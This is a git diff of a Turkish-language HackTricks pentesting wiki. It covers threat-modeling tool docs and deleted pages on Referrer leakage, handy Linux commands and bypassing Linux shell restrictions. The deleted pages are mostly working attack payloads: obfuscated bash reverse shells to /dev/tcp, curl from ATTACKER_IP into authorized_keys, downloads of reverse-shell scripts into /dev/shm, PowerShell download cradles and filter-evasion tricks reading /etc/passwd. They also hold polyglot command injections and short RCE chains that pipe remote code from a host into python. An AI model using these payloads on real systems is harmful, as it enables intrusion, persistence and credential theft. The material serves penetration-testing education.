3. **PASTA** (Saldırı Simülasyonu ve Tehdit Analizi Süreci): Bu, yedi adımlı, **risk merkezli** bir metodolojidir. Güvenlik hedeflerini tanımlama ve belirleme, teknik kapsam oluşturma, uygulama ayrıştırma, tehdit analizi, zayıflık analizi ve risk/triage değerlendirmesini içerir.
4. **Trike**: Bu, varlıkları savunmaya odaklanan risk temelli bir metodolojidir. **Risk yönetimi** perspektifinden başlar ve tehditler ile zayıflıkları bu bağlamda inceler.
5. **VAST** (Görsel, Çevik ve Basit Tehdit Modelleme): Bu yaklaşım, daha erişilebilir olmayı hedefler ve Çevik geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurlar birleştirir ve **tehditlerin görsel temsillerine** odaklanır.
6. **OCTAVE** (Operasyonel Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **belirli sistemler veya yazılımlar yerine kurumsal risk değerlendirmesine** yöneliktir.
5. **VAST** (Görsel, Çevik ve Basit Tehdit modelleme): Bu yaklaşım, daha erişilebilir olmayı hedefler ve Çevik geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurlar birleştirir ve **tehditlerin görsel temsillerine** odaklanır.
6. **OCTAVE** (Operasyonel Olarak Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **belirli sistemler veya yazılımlar yerine kurumsal risk değerlendirmesine** yöneliktir.
## Araçlar
Tehdit modellerinin oluşturulması ve yönetilmesi konusunda **yardımcı** olabilecek birkaç araç ve yazılım çözümü mevcuttur. İşte dikkate alabileceğiniz bazıları.
Tehdit modellerinin oluşturulması ve yönetilmesi konusunda **yardımcı** olabilecek çeşitli araçlar ve yazılım çözümleri mevcuttur. İşte göz önünde bulundurabileceğiniz birkaç tane.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Siber güvenlik profesyonelleri için gelişmiş, çok platformlu ve çok özellikli bir GUI web örümceği/gezgini. Spider Suite, saldırı yüzeyi haritalama ve analiz için kullanılabilir.
Siber güvenlik profesyonelleri için gelişmiş, çok özellikli, çok platformlu bir GUI web örümceği/kraker. Spider Suite, saldırı yüzeyi haritalama ve analiz için kullanılabilir.
**Kullanım**
@ -80,11 +82,11 @@ Bazen şöyle görünebilir:
Varlıklar hakkında biraz açıklama:
- Süreç (Web sunucusu veya web işlevselliği gibi varlık)
- Aktör (Bir Web Sitesi Ziyaretçisi, Kullanıcı veya Yönetici gibi bir kişi)
- Süreç (Web sunucusu veya web işlevi gibi varlık)
- Aktör (Bir Kişi, örneğin bir Web Sitesi Ziyaretçisi, Kullanıcı veya Yöneticisi)
- Veri Akış Hattı (Etkileşim Göstergesi)
- Güven Sınırı (Farklı ağ segmentleri veya kapsamlar.)
- Depolama (Verilerin depolandığı yerler, örneğin Veritabanları)
- Güven Sınırı (Farklı ağ segmentleri veya kapsamları.)
- Depolama (Verilerin saklandığı yerler, örneğin Veritabanları)
5. Bir Tehdit Oluşturun (Adım 1)
@ -92,20 +94,22 @@ Varlıklar hakkında biraz açıklama:
<figure><img src="../images/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
Şimdi tehdidi oluşturabilirsiniz.
Artık tehdidi oluşturabilirsiniz.
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Aktör Tehditleri ile Süreç Tehditleri arasında bir fark olduğunu unutmayın. Eğer bir Aktöre tehdit ekleyecekseniz, yalnızca "Sahtecilik" ve "Reddetme" seçeneklerini seçebileceksiniz. Ancak örneğimizde bir Süreç varlığına tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz:
Aktör Tehditleri ile Süreç Tehditleri arasında bir fark olduğunu unutmayın. Eğer bir tehdidi bir Aktöre eklerseniz, yalnızca "Sahtecilik" ve "Reddetme" seçeneklerini seçebilirsiniz. Ancak örneğimizde bir Süreç varlığına tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz:
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Tamam
Artık bitmiş modeliniz şöyle görünmelidir. Ve OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturulur.
Artık bitmiş modeliniz şöyle görünmelidir. Ve OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturduğunuz budur.
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığını üzerinde geliştirme yapanlar için uygundur.
Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığınında geliştirme yapanlar için uygundur.
{{#include /banners/hacktricks-training.md}}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 16 KiB

View File

@ -1,35 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Referrer başlıkları ve politikası
Referrer, tarayıcılar tarafından önceki ziyaret edilen sayfayı belirtmek için kullanılan başlıktır.
## Hassas bilgilerin sızdırılması
Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde bulunuyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) öneride bulunabiliyorsa, en son GET isteğindeki hassas bilgileri dışarıya aktarabilir.
## Azaltma
Tarayıcının hassas bilgilerin diğer web uygulamalarına gönderilmesini **önleyebilecek** bir **Referrer-policy** izlemesini sağlayabilirsiniz:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Karşı Önlem
Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu gerçekleştirmesi gerekir):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Savunma
Asla hassas verileri GET parametreleri veya URL'deki yolların içine koymayın.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,297 +0,0 @@
# Kullanışlı Linux Komutları
{{#include ../../banners/hacktricks-training.md}}
## Yaygın Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
## Windows için Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Bulmak
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap arama yardımı
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,319 +0,0 @@
# Linux Kısıtlamalarını Aşma
{{#include ../../banners/hacktricks-training.md}}
## Yaygın Kısıtlama Aşmaları
### Ters Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Kısa Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Yasağı Kaldırma Yolları ve Yasaklı Kelimeler
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Yasaklı boşlukları atlatma
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Ters eğik çizgi ve eğik çizgiyi atlama
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Boruları Atla
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Hex kodlama ile atlatma
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### IP'leri Atlatma
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Zaman Tabanlı Veri Sızdırma
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Çevre Değişkenlerinden Karakter Alma
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS veri sızdırma
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
### Yerleşik Komutlar
Dış fonksiyonları çalıştıramıyorsanız ve yalnızca RCE elde etmek için **sınırlı bir yerleşik komut setine** erişiminiz varsa, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm** **yerleşik komutları** kullanamayacaksınız, bu yüzden hapisten kurtulmak için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten.\
Öncelikle tüm [**shell yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** İşte burada bazı **öneriler** var:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot komut enjeksiyonu
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Potansiyel regex'leri atlatma
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### 5 karakterle RCE
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### 4 karakterle RCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Salt Okuma/Sadece Çalıştırma/Distroless Bypass
Eğer **salt okuma ve sadece çalıştırma korumalarına** sahip bir dosya sistemindeyseniz veya hatta bir distroless konteynerdeyseniz, yine de **rastgele ikili dosyaları çalıştırmanın yolları vardır, hatta bir shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & Diğer Hapisler Bypass
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Referanslar & Daha Fazla
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
